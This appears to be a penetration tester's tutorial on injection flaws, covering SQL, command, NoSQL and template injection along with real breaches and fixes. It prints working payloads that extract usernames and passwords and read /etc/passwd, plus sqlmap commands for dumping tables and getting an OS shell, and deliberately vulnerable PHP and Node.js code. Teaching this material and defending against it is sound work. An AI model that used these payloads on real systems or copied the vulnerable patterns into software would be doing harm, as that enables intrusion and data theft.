OWASP Top 10 2025

#5 Injection — A Pentester's Guide

The Vulnerability That Refuses to Die

In December 2024, attackers exploited a SQL injection flaw in BeyondTrust's remote access products. Within weeks, they'd pivoted to a second SQL injection zero-day in PostgreSQL itself, achieving arbitrary code execution on database servers worldwide.

In early 2024, the ResumeLooters gang compromised 65 recruitment websites across Asia using nothing but SQL injection, stealing over 2 million records containing names, phone numbers, and employment histories.

Injection has dropped from #3 to #5 on the OWASP Top 10 for 2025. But don't let the ranking fool you. It remains one of the most dangerous, most exploitable, and most consistently successful attack vectors we encounter.

What Is Injection?

Injection occurs when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data tricks the interpreter into executing unintended commands or accessing unauthorized data.

The concept is deceptively simple: wherever user input meets an interpreter, injection is possible.

The interpreter could be:

  • SQL database → SQL Injection
  • Operating system shell → Command Injection
  • NoSQL database → NoSQL Injection
  • LDAP directory → LDAP Injection
  • Template engine → Server-Side Template Injection (SSTI)
  • XML parser → XPath/XQuery Injection

The Attacker's View: Injection Hunting Methodology

Phase 1: Identify Injection Points

Every user-controllable input is a candidate:

  • URL parameters (?id=1)
  • POST body data
  • HTTP headers (User-Agent, Referer, X-Forwarded-For)
  • Cookies
  • JSON/XML payloads
  • File upload names
  • Hidden form fields
Pro tip: Don't just test the obvious inputs. We've found SQL injection in User-Agent headers, LDAP injection in password reset tokens, and command injection in PDF generation parameters.

Phase 2: Determine the Backend Technology

Fingerprinting helps us craft targeted payloads:

GET /product?id=1' HTTP/1.1

Error responses reveal the stack:

  • You have an error in your SQL syntax → MySQL
  • ORA-01756: quoted string not properly terminated → Oracle
  • Unclosed quotation mark → MSSQL
  • syntax error at or near → PostgreSQL
  • MongoError → MongoDB

SQL Injection Deep Dive

SQL injection remains the king of injection attacks. Let's break down the major techniques.

Classic (In-Band) SQL Injection

The simplest form — results are returned directly in the response.

Vulnerable PHP code:

$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = '$id'";
$result = mysqli_query($conn, $query);

Attack payload:

/product?id=1' OR '1'='1

Resulting query:

SELECT * FROM products WHERE id = '1' OR '1'='1'

This returns all products. But we can do much worse.

UNION-Based Extraction

When you can see query output, UNION attacks let you extract arbitrary data.

Step 1: Determine column count

/product?id=1' ORDER BY 1-- -
/product?id=1' ORDER BY 2-- -
/product?id=1' ORDER BY 3-- -   ← Error here means 2 columns

Step 2: Find displayable columns

/product?id=-1' UNION SELECT 'test1','test2'-- -

Step 3: Extract data

/product?id=-1' UNION SELECT username,password FROM users-- -

Blind SQL Injection

No visible output? No problem. We extract data one bit at a time.

Boolean-based blind:

/product?id=1' AND SUBSTRING(username,1,1)='a'-- -   ← Different response if true
/product?id=1' AND SUBSTRING(username,1,1)='b'-- -

Time-based blind:

/product?id=1' AND IF(SUBSTRING(username,1,1)='a', SLEEP(5), 0)-- -

If the response takes 5 seconds, the first character is 'a'.

SQLMap: The Pentester's Best Friend

Why do this manually when SQLMap exists?

# Basic detection and exploitation
sqlmap -u "http://target.com/product?id=1" --dbs

# With authentication
sqlmap -u "http://target.com/product?id=1" --cookie="session=abc123" --dbs

# POST request
sqlmap -u "http://target.com/login" --data="username=admin&password=test" -p username

# Dump specific table
sqlmap -u "http://target.com/product?id=1" -D webapp -T users --dump

# OS shell (if privileged)
sqlmap -u "http://target.com/product?id=1" --os-shell

Command Injection

When user input reaches a system shell, the damage potential is unlimited.

The Vulnerability

Vulnerable Node.js code:

const { exec } = require('child_process');

app.get('/ping', (req, res) => {
    const host = req.query.host;
    exec(`ping -c 4 ${host}`, (error, stdout, stderr) => {
        res.send(stdout);
    });
});

Attack Payloads

# Semicolon - run second command regardless
;cat /etc/passwd

# AND - run second command if first succeeds
&& cat /etc/passwd

# OR - run second command if first fails
|| cat /etc/passwd

# Pipe - pass output to second command
| cat /etc/passwd

# Backticks - command substitution
`cat /etc/passwd`

# $() - command substitution
$(cat /etc/passwd)

NoSQL Injection

MongoDB and other NoSQL databases aren't immune — they just need different payloads.

Operator Injection

{
    "username": "admin",
    "password": {"$ne": ""}
}

This query becomes: findOne({ username: "admin", password: { $ne: "" } })

Translation: Find admin where password is not empty — always true.

Other useful operators:

{"$gt": ""}          // Greater than empty string
{"$regex": "^a"}     // Password starts with 'a' (blind extraction)
{"$where": "sleep(5000)"}  // Time-based blind

Server-Side Template Injection (SSTI)

Modern frameworks use template engines. When user input reaches templates unsanitized, it's game over.

Identifying Template Engines

Inject mathematical expressions and observe:

{{7*7}}      → 49 (Jinja2, Twig)
${7*7}       → 49 (FreeMarker, Velocity)
#{7*7}       → 49 (Thymeleaf)
<%= 7*7 %>   → 49 (ERB)

Real-World Damage: MOVEit Transfer (2023-2024)

A single SQL injection vulnerability (CVE-2023-34362) in Progress Software's MOVEit file transfer platform became one of the most devastating breaches in history.

Attack vector: Unauthenticated SQL injection

Exploited by: Cl0p ransomware gang

Impact:

  • 2,600+ organizations compromised
  • 77+ million individuals affected
  • Victims included BBC, British Airways, Shell, US Department of Energy

The kicker? It was a basic SQL injection. No advanced techniques required.

Fix It: Secure Code Patterns

SQL Injection Prevention

Use parameterized queries (prepared statements):

# Python with SQLite - SECURE
def get_user_secure(user_id):
    conn = sqlite3.connect('users.db')
    c = conn.cursor()
    c.execute("SELECT * FROM users WHERE id = ?", (user_id,))
    return c.fetchone()

# PHP with PDO - SECURE
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $id]);

Command Injection Prevention

Avoid shell execution entirely:

# VULNERABLE
os.system(f"ping -c 4 {host}")

# SECURE - Use subprocess with list arguments (no shell)
import subprocess

def ping_secure(host):
    # Validate input first
    if not re.match(r'^[a-zA-Z0-9.-]+$', host):
        raise ValueError("Invalid hostname")

    # Use list arguments - no shell interpretation
    result = subprocess.run(
        ['ping', '-c', '4', host],
        capture_output=True,
        text=True,
        timeout=10
    )
    return result.stdout

Defense in Depth

Beyond fixing the code:

  1. Least privilege — Database users should only have necessary permissions
  2. WAF rules — Block obvious injection patterns
  3. Input validation — Allow-list acceptable characters
  4. Error handling — Never expose stack traces or SQL errors
  5. Security testing — Include SAST/DAST in CI/CD pipeline
  6. Monitoring — Alert on SQL errors and unusual queries

Key Takeaways

Injection has been on the OWASP Top 10 since the list began. It dropped to #5 in 2025, but not because we've solved it — we've just gotten slightly better at finding other problems.

The uncomfortable truth:

  • 26% of 2024 data breaches involved injection attacks
  • SQLi vulnerabilities are increasing, not decreasing
  • Basic parameterized queries would prevent 99% of SQL injection
  • MOVEit affected 77 million people from a textbook SQL injection

As pentesters, injection remains our bread and butter. The patterns are predictable, the tools are mature, and the payoff is almost always high-value data or system access.

The fix is known. The tools exist. The training is available. And yet, here we are.